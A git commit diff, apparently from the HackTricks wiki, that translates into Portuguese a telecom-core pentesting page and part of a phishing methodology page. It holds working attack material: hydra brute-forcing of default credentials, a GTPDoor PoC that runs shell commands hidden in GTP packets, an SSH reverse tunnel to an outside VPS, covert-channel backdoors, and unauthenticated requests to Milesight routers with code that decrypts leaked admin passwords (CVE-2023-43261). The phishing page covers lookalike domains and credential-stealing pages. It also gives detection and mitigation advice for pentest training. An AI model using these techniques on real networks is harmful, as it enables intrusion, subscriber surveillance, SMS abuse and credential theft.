Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-10-09 00:48:11 +00:00
parent 8cda91e328
commit 6550e950ee
2 changed files with 297 additions and 207 deletions

View File

@ -3,25 +3,25 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> [!NOTE] > [!NOTE]
> Protocolos de núcleo móvel (GPRS Tunnelling Protocol GTP) frequentemente atravessam backbones de roaming GRX/IPX semi-confiáveis. Como eles trafegam sobre plain UDP com quase nenhuma autenticação, **qualquer ponto de apoio dentro do perímetro de uma operadora geralmente pode alcançar diretamente os planos de sinalização do core**. As notas a seguir reúnem truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC. > Protocolos do núcleo móvel (GPRS Tunnelling Protocol GTP) frequentemente atravessam backbones de roaming semi-confiáveis GRX/IPX. Como eles trafegam sobre UDP simples com quase nenhuma autenticação, **qualquer ponto de apoio dentro do perímetro da operadora normalmente pode alcançar diretamente os planos de sinalização core**. As notas a seguir reúnem truques ofensivos observados na prática contra SGSN/GGSN, PGW/SGW e outros nós EPC.
## 1. Recon & Acesso Inicial ## 1. Reconhecimento & Acesso Inicial
### 1.1 Contas padrão OSS / NE ### 1.1 Contas OSS / NE padrão
Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet hard-coded como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Um wordlist dedicado aumenta dramaticamente o sucesso de brute-force: Um conjunto surpreendentemente grande de elementos de rede de fornecedores é entregue com usuários SSH/Telnet hard-coded, tais como `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Uma wordlist dedicada aumenta dramaticamente o sucesso de brute-force:
```bash ```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
``` ```
Se o dispositivo expõe apenas um VRF de gerenciamento, faça pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo). Se o dispositivo expõe apenas um management VRF, faça pivot através de um jump host primeiro (veja a seção «SGSN Emu Tunnel» abaixo).
### 1.2 Descoberta de Hosts dentro de GRX/IPX ### 1.2 Descoberta de Hosts dentro do GRX/IPX
A maioria dos operadores GRX ainda permite **ICMP echo** através do backbone. Combine `masscan` com as sondas UDP `gtpv1` embutidas para mapear rapidamente os listeners GTP-C: A maioria dos operadores GRX ainda permite **ICMP echo** através do backbone. Combine `masscan` com as sondas UDP `gtpv1` integradas para mapear rapidamente os listeners GTP-C:
```bash ```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
``` ```
## 2. Enumerating Subscribers `cordscan` ## 2. Enumeração de Assinantes `cordscan`
A seguinte ferramenta Go cria pacotes **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o atual **SGSN / MME** que serve o IMSI consultado e, às vezes, o PLMN visitado pelo assinante. A ferramenta Go a seguir cria pacotes **GTP-C Create PDP Context Request** e registra as respostas. Cada resposta revela o **SGSN / MME** atual que serve o IMSI consultado e, às vezes, a PLMN visitada pelo assinante.
```bash ```bash
# Build # Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
@ -32,17 +32,17 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
Flags principais: Flags principais:
- `--imsi` IMSI do assinante alvo - `--imsi` IMSI do assinante alvo
- `--oper` Home / HNI (MCC+MNC) - `--oper` Home / HNI (MCC+MNC)
- `-w` Grava raw packets para pcap - `-w` Gravar pacotes brutos em pcap
Constantes importantes dentro do binário podem ser patchadas para ampliar as varreduras: Constantes importantes dentro do binário podem ser modificadas para ampliar as varreduras:
``` ```
pingtimeout = 3 // seconds before giving up pingtimeout = 3 // seconds before giving up
pco = 0x218080 pco = 0x218080
common_tcp_ports = "22,23,80,443,8080" common_tcp_ports = "22,23,80,443,8080"
``` ```
## 3. Code Execution over GTP `GTPDoor` ## 3. Execução de Código sobre GTP `GTPDoor`
`GTPDoor` é um pequeno serviço ELF que **faz bind em UDP 2123 e analisa todo pacote GTP-C recebido**. Quando o payload começa com uma tag pré-compartilhada, o restante é decriptado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens **Echo Response**, de modo que nunca é criada uma sessão de saída. `GTPDoor` é um pequeno serviço ELF que escuta em UDP 2123 e parseia todo pacote GTP-C recebido. Quando o payload começa com uma pre-shared tag, o restante é decriptado (AES-128-CBC) e executado via `/bin/sh -c`. O stdout/stderr são exfiltrados dentro de mensagens Echo Response para que nenhuma sessão de saída seja criada.
Pacote PoC mínimo (Python): Pacote PoC mínimo (Python):
```python ```python
@ -53,35 +53,35 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
``` ```
Detecção: Detecção:
* qualquer host enviando **unbalanced Echo Requests** para IPs do SGSN * qualquer host enviando **unbalanced Echo Requests** para os IPs do SGSN
* flag de versão do GTP definido como 1 enquanto message type = 1 (Echo) desvio da especificação * flag de versão do GTP setada para 1 enquanto message type = 1 (Echo) desvio da especificação
## 4. Pivoting através do Core ## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5 ### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` inclui um emulador SGSN capaz de **establish a PDP context towards a real GGSN/PGW**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do roaming peer. `OsmoGGSN` inclui um emulador SGSN capaz de **estabelecer um PDP context towards a real GGSN/PGW**. Uma vez negociado, o Linux recebe uma nova interface `tun0` acessível a partir do roaming peer.
```bash ```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d -APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0 ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy microsocks -p 1080 & # internal SOCKS proxy
``` ```
Com o firewall hair-pinning adequado, este túnel contorna VLANs apenas de signalling e o coloca diretamente no **plano de dados**. Com o firewall hair-pinning adequado, este túnel contorna VLANs somente de sinalização e o coloca diretamente no **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53 ### 4.2 SSH Reverse Tunnel over Port 53
DNS quase sempre está aberto em infraestruturas de roaming. Exponha um serviço SSH interno no seu VPS escutando em :53 e retorne depois de casa: DNS está quase sempre aberto em infraestruturas de roaming. Exponha um serviço SSH interno para o seu VPS escutando em :53 e retorne depois a partir de casa:
```bash ```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
``` ```
Verifique se `GatewayPorts yes` está habilitado no VPS. Verifique se `GatewayPorts yes` está ativado no VPS.
## 5. Canais Clandestinos ## 5. Canais encobertos
| Canal | Transporte | Decodificação | Observações | | Canal | Transporte | Decodificação | Notas |
|-------|-----------|--------------|-------------| |---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | ouvinte puramente passivo, sem tráfego de saída | | ICMP `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | ouvinte puramente passivo, sem tráfego de saída |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | monitora o subdomínio `*.nodep` | | DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | monitora o subdomínio `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | mistura-se ao tráfego legítimo de GTP-C | | GTP `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | se mistura ao tráfego legítimo de GTP-C |
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
@ -118,74 +118,74 @@ rm -f /tmp/sh ; history -c
``` ```
## 8. Caixa de Ferramentas ## 8. Caixa de Ferramentas
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling descrito nas seções anteriores. * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` custom tooling described in previous sections.
* `FScan` : varreduras TCP na intranet (`fscan -p 22,80,443 10.0.0.0/24`) * `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD * `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : pivoting SOCKS5 leve * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
* `FRP` (≥0.37) : NAT traversal / ponte entre ativos * `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. Ataques de registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay ## 9. Ataques de Registro NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
O procedimento de registro 5G roda sobre NAS (Non-Access Stratum) por cima de NGAP. Até que a NAS security seja ativada por Security Mode Command/Complete, mensagens iniciais são não autenticadas e não encriptadas. Essa janela pré-segurança permite vários caminhos de ataque quando você pode observar ou adulterar o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou testbed). O procedimento de registro 5G roda sobre NAS (Non-Access Stratum) por cima de NGAP. Até que a segurança NAS seja ativada por Security Mode Command/Complete, as mensagens iniciais não são autenticadas nem encriptadas. Essa janela pré-segurança permite múltiplos vetores de ataque quando você pode observar ou manipular o tráfego N2 (por exemplo, on-path dentro do core, rogue gNB, ou ambiente de testes).
Registration flow (simplified): Fluxo de registro (simplificado):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities. - Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*. - Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated. - Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup. - PDU Session Establishment: IP/QoS setup.
Dicas para laboratório (non-RF): Dicas de configuração de laboratório (não-RF):
- Core: Open5GS default deployment é suficiente para reproduzir os fluxos. - Core: Open5GS default deployment is sufficient to reproduce flows.
- UE: simulador ou UE de teste; decodifique usando o Wireshark. - UE: simulator or test UE; decode using Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Useful display filters in Wireshark: - Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage) - ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI ### 9.1 Privacidade de identificador: falhas de SUCI expondo SUPI/IMSI
Esperado: UE/USIM deve transmitir SUCI (SUPI encrypted with the home-network public key). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que permite rastreamento persistente do assinante. Esperado: UE/USIM deve transmitir SUCI (SUPI encriptado com a public key da home-network). Encontrar um SUPI/IMSI em plaintext no Registration Request indica um defeito de privacidade que possibilita tracking persistente do assinante.
Como testar: Como testar:
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE. - Capture a primeira mensagem NAS em InitialUEMessage e inspecione o Mobile Identity IE.
- Wireshark quick checks: - Verificações rápidas no Wireshark:
- It should decode as SUCI, not IMSI. - Deve decodificar como SUCI, não como IMSI.
- Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates um leak. - Exemplos de filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` deve existir; ausência disso junto com presença de `imsi` indica vazamento.
O que coletar: O que coletar:
- MCC/MNC/MSIN se expostos; registre por UE e rastreie ao longo do tempo/localizações. - MCC/MNC/MSIN se expostos; log por UE e rastrear ao longo do tempo/locais.
Mitigação: Mitigação:
- Exigir UEs/USIMs que enviem somente SUCI; alertar sobre qualquer IMSI/SUPI no NAS inicial. - Forçar UEs/USIMs a usar apenas SUCI; alertar sobre qualquer IMSI/SUPI em NAS inicial.
### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) ### 9.2 Rebaixamento de capacidades (bidding-down) para algoritmos nulos (EEA0/EIA0)
Contexto: Contexto:
- UE anuncia EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request. - UE informa EEA (encryption) e EIA (integrity) suportados no UE Security Capability IE do Registration Request.
- Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos. - Mapeamentos comuns: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 são algoritmos nulos.
Problema: Problema:
- Porque o Registration Request não é protegido por integridade, um atacante on-path pode limpar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks incorretamente permitem algoritmos nulos fora de serviços de emergência. - Como o Registration Request não é protegido por integridade, um atacante on-path pode zerar bits de capability para forçar a seleção de EEA0/EIA0 mais tarde durante o Security Mode Command. Algumas stacks aceitam erroneamente algoritmos nulos fora de serviços de emergência.
Passos ofensivos: Passos ofensivos:
- Intercept InitialUEMessage e modifique o NAS UE Security Capability para anunciar apenas EEA0/EIA0. - Intercept InitialUEMessage e modificar o NAS UE Security Capability para anunciar apenas EEA0/EIA0.
- Com Sni5Gect, hook a mensagem NAS e patch os bits de capability antes de encaminhar. - Com Sni5Gect, hook na mensagem NAS e patch nos bits de capability antes de encaminhar.
- Observe se o AMF aceita cifras/integridade nulas e completa o Security Mode com EEA0/EIA0. - Observar se o AMF aceita chaves/ciphers nulos e completa o Security Mode com EEA0/EIA0.
Verificação/visibilidade: Verificação/visibilidade:
- No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete. - No Wireshark, confirme os algoritmos selecionados após Security Mode Command/Complete.
- Exemplo de saída de sniffer passivo: - Example passive sniffer output:
``` ```
Encyrption in use [EEA0] Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2] Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001 SUPI (MCC+MNC+MSIN) 9997000000001
``` ```
Mitigações (obrigatórias): Mitigações (obrigatórias):
- Configure AMF/policy para rejeitar EEA0/EIA0, exceto quando estritamente exigido (por exemplo, chamadas de emergência). - Configure AMF/policy para rejeitar EEA0/EIA0 exceto onde estritamente mandatado (por exemplo, chamadas de emergência).
- Prefira aplicar EEA2/EIA2 como mínimo; registrar e gerar alarmes para qualquer contexto de segurança NAS que negocie algoritmos nulos. - Prefira aplicar EEA2/EIA2 no mínimo; registrar e gerar alarmes em qualquer contexto de segurança NAS que negocie null algorithms.
### 9.3 Replay de initial Registration Request (pre-security NAS) ### 9.3 Replay da Registration Request inicial (pre-security NAS)
Porque o initial NAS carece de integridade e freshness, a InitialUEMessage+Registration Request capturada pode ser replayed para o AMF. Porque o NAS inicial carece de integridade e recência, o InitialUEMessage+Registration Request capturado pode ser reproduzido para o AMF.
PoC rule for 5GReplay to forward matching replays: Regra PoC para 5GReplay encaminhar replays correspondentes:
```xml ```xml
<beginning> <beginning>
<property value="THEN" <property value="THEN"
@ -208,34 +208,93 @@ boolean_expression="nas_5g.message_type == 65"/>
</property> </property>
</beginning> </beginning>
``` ```
What to observe: O que observar:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure. - Se o AMF aceita o replay e procede para a Authentication; a falta de validação de freshness/context indica exposição.
Mitigations: Mitigações:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE. - Aplicar proteção contra replay/binding de contexto no AMF; rate-limit e correlacionar por GNB/UE.
### 9.4 Tooling pointers (reproducible) ### 9.4 Dicas de ferramentas (reproduzível)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS. - Open5GS: spin up um AMF/SMF/UPF para emular o core; observar N2 (NGAP) e NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration. - Wireshark: verificar decodificações de NGAP/NAS; aplicar os filtros acima para isolar Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule. - 5GReplay: capturar uma registration, depois replay de mensagens NGAP + NAS específicas conforme a regra.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences. - Sni5Gect: sniff/modify/inject em tempo real o plano de controlo NAS para forçar algoritmos null ou perturbar sequências de authentication.
### 9.5 Defensive checklist ### 9.5 Checklist defensivo
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs. - Inspecionar continuamente Registration Request em busca de SUPI/IMSI em texto claro; bloquear dispositivos/USIMs ofensores.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2. - Rejeitar EEA0/EIA0, exceto para procedimentos de emergência estritamente definidos; exigir pelo menos EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers. - Detectar infraestrutura rogue ou mal configurada: gNB/AMF não autorizados, peers N2 inesperados.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage. - Alertar sobre modos de segurança NAS que resultam em algoritmos null ou replays frequentes de InitialUEMessage.
--- ---
## Ideias de detecção
1. **Qualquer dispositivo que não seja um SGSN/GGSN estabelecendo Create PDP Context Requests**.
2. **Portas não padrão (53, 80, 443) recebendo SSH handshakes** de IPs internos.
3. **Echo Requests frequentes sem as correspondentes Echo Responses** pode indicar beacons GTPDoor.
4. **Alta taxa de tráfego ICMP echo-reply com campos identifier/sequence grandes e não zero**.
5. 5G: **InitialUEMessage transportando NAS Registration Requests repetidos de endpoints idênticos** (sinal de replay).
6. 5G: **NAS Security Mode negociando EEA0/EIA0** fora de contextos de emergência.
## References ## 10. Industrial Cellular Routers Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Abusar APIs web expostas de routers celulares industriais permite smishing furtivo originado pela operadora em escala. Os routers Milesight da série UR expõem um endpoint no estilo JSON-RPC em `/cgi`. Quando mal configurada, a API pode ser consultada sem autenticação para listar inbox/outbox de SMS e, em algumas implantações, para enviar SMS.
Requisições típicas não autenticadas (mesma estrutura para inbox/outbox):
```http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
```
```json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
```
Respostas incluem campos como `timestamp`, `content`, `phone_number` (E.164) e `status` (`success` ou `failed`). Envios repetidos com `failed` para o mesmo número costumam ser “capability checks” do atacante para validar que um router/SIM consegue entregar antes de blasting.
Exemplo de curl para exfiltrar metadados de SMS:
```bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
```
Notas sobre artefatos de auth:
- Alguns tráfegos podem incluir um auth cookie, mas uma grande parte dos dispositivos expostos responde sem qualquer autenticação a `query_inbox`/`query_outbox` quando a interface de gestão está exposta à Internet.
- Em ambientes que requerem auth, previously-leaked credentials (veja abaixo) restauram o acesso.
Caminho de recuperação de credenciais CVE-2023-43261:
- Famílias afetadas: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Problema: logs servidos via web (por exemplo, `httpd.log`) são acessíveis sem autenticação em `/lang/log/` e contêm eventos de login de admin com a senha criptografada usando uma AES key/IV hardcoded presente em JavaScript do lado do cliente.
- Acesso prático e descriptografia:
```bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
```
Python mínimo para descriptografar leaked passwords (AES-128-CBC, hardcoded key/IV):
```python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
```
Hunting e ideias de detecção (rede):
- Disparar alerta em `POST /cgi` não autenticados cujo corpo JSON contém `base`/`function` definido como `query_inbox` ou `query_outbox`.
- Rastrear rajadas repetidas de `POST /cgi` seguidas por entradas `status":"failed"` em muitos números únicos vindos do mesmo IP de origem (capability testing).
- Inventariar Milesight routers expostos à Internet; restringir gestão a VPN; desabilitar recursos de SMS a menos que necessários; atualizar para ≥ v35.3.0.7; rotacionar credenciais e revisar SMS logs por envios desconhecidos.
Shodan/OSINT pivots (exemplos vistos na prática):
- `http.html:"rt_title"` casa com painéis de Milesight router.
- Google dorking para logs expostos: `"/lang/log/system" ext:log`.
Impacto operacional: usar SIMs de operadoras legítimas dentro dos routers fornece altíssima deliverability/credibility de SMS para phishing, enquanto a exposição de inbox/outbox leaks sensitive metadata at scale.
---
## Ideias de Detecção
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
3. **Frequent Echo Requests without corresponding Echo Responses** might indicate GTPDoor beacons.
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
## Referências
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) - [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0) - 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
@ -243,5 +302,8 @@ Mitigations:
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System - 3GPP TS 33.501 Security architecture and procedures for 5G System
- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
- [CVE-2023-43261 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261)
- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,42 +4,42 @@
## Metodologia ## Metodologia
1. Recon the victim 1. Recon da vítima
1. Selecione o **domínio da vítima**. 1. Selecione o **victim domain**.
2. Faça alguma enumeração web básica **procurando portais de login** usados pela vítima e **decida** qual deles você irá **se passar por**. 2. Realize uma enumeração web básica **procurando por login portals** usados pela vítima e **decida** qual você irá **impersonate**.
3. Use **OSINT** para **encontrar e-mails**. 3. Use OSINT para **encontrar emails**.
2. Prepare o ambiente 2. Preparar o ambiente
1. **Compre o domínio** que você vai usar para a avaliação de phishing 1. **Compre o domínio** que você vai usar para a avaliação de phishing
2. **Configure o serviço de email** e os registros relacionados (SPF, DMARC, DKIM, rDNS) 2. **Configure os registros do serviço de email** relacionados (SPF, DMARC, DKIM, rDNS)
3. Configure o VPS com **gophish** 3. Configure o VPS com **gophish**
3. Prepare a campanha 3. Preparar a campanha
1. Prepare o **modelo de email** 1. Prepare o **email template**
2. Prepare a **página web** para roubar as credenciais 2. Prepare a **web page** para roubar as credenciais
4. Lance a campanha! 4. Lance a campanha!
## Generate similar domain names or buy a trusted domain ## Gerar nomes de domínio similares ou comprar um domínio confiável
### Domain Name Variation Techniques ### Técnicas de variação de Nome de Domínio
- **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com). - **Keyword**: O nome do domínio **contém** uma **keyword** importante do domínio original (por exemplo, zelster.com-management.com).
- **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com). - **hypened subdomain**: Trocar o **ponto por um hífen** de um subdomínio (por exemplo, www-zelster.com).
- **New TLD**: Same domain using a **new TLD** (e.g., zelster.org) - **New TLD**: Mesmo domínio usando um **novo TLD** (por exemplo, zelster.org)
- **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com). - **Homoglyph**: Substitui uma letra no nome do domínio por **letras que parecem similares** (por exemplo, zelfser.com).
{{#ref}} {{#ref}}
homograph-attacks.md homograph-attacks.md
{{#endref}} {{#endref}}
- **Transposition:** Ele **troca duas letras** dentro do nome de domínio (e.g., zelsetr.com). - **Transposition:** Troca duas letras dentro do nome do domínio (por exemplo, zelsetr.com).
- **Singularization/Pluralization**: Adiciona ou remove “s” no final do nome de domínio (e.g., zeltsers.com). - **Singularization/Pluralization**: Adiciona ou remove “s” no final do nome do domínio (por exemplo, zeltsers.com).
- **Omission**: Remove uma das letras do nome de domínio (e.g., zelser.com). - **Omission**: Remove uma das letras do nome do domínio (por exemplo, zelser.com).
- **Repetition:** Repete uma das letras no nome de domínio (e.g., zeltsser.com). - **Repetition:** Repete uma das letras do nome do domínio (por exemplo, zeltsser.com).
- **Replacement**: Como homoglyph mas menos furtivo. Substitui uma das letras no nome de domínio, talvez por uma letra próxima da original no teclado (e.g, zektser.com). - **Replacement**: Como homoglyph, mas menos furtivo. Substitui uma das letras do nome do domínio, possivelmente por uma letra próxima no teclado (por exemplo, zektser.com).
- **Subdomained**: Introduz um **ponto** dentro do nome de domínio (e.g., ze.lster.com). - **Subdomained**: Introduz um **ponto** dentro do nome do domínio (por exemplo, ze.lster.com).
- **Insertion**: Insere uma letra no nome de domínio (e.g., zerltser.com). - **Insertion**: Insere uma letra no nome do domínio (por exemplo, zerltser.com).
- **Missing dot**: Anexa a TLD ao nome de domínio (e.g., zelstercom.com) - **Missing dot**: Anexa o TLD ao nome do domínio. (por exemplo, zelstercom.com)
**Automatic Tools** **Ferramentas Automáticas**
- [**dnstwist**](https://github.com/elceef/dnstwist) - [**dnstwist**](https://github.com/elceef/dnstwist)
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) - [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
@ -52,43 +52,43 @@ homograph-attacks.md
### Bitflipping ### Bitflipping
There is a **possibility that one of some bits stored or in communication might get automatically flipped** due to various factors like solar flares, cosmic rays, or hardware errors. Existe a **possibilidade de que alguns bits armazenados ou em comunicação sejam automaticamente invertidos** devido a vários fatores como erupções solares, raios cósmicos ou falhas de hardware.
When this concept is **applied to DNS requests**, it is possible that the **domain received by the DNS server** is not the same as the domain initially requested. Quando esse conceito é **aplicado a requisições DNS**, é possível que o **domínio recebido pelo servidor DNS** não seja o mesmo que o domínio inicialmente solicitado.
For example, a single bit modification in the domain "windows.com" can change it to "windnws.com." Por exemplo, uma única modificação de bit no domínio "windows.com" pode alterá-lo para "windnws.com."
Attackers may **take advantage of this by registering multiple bit-flipping domains** that are similar to the victim's domain. Their intention is to redirect legitimate users to their own infrastructure. Atacantes podem **tirar vantagem disso registrando múltiplos domínios bit-flipping** que são similares ao domínio da vítima. A intenção é redirecionar usuários legítimos para sua própria infraestrutura.
For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) Para mais informações leia [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Buy a trusted domain ### Comprar um domínio confiável
You can search in [https://www.expireddomains.net/](https://www.expireddomains.net) for a expired domain that you could use.\ Você pode procurar em [https://www.expireddomains.net/](https://www.expireddomains.net) por um domínio expirado que você poderia usar.\
In order to make sure that the expired domain that you are going to buy **has already a good SEO** you could search how is it categorized in: Para garantir que o domínio expirado que você vai comprar **já tenha um bom SEO** você pode verificar como ele é categorizado em:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## Descobrindo E-mails ## Descobrindo Emails
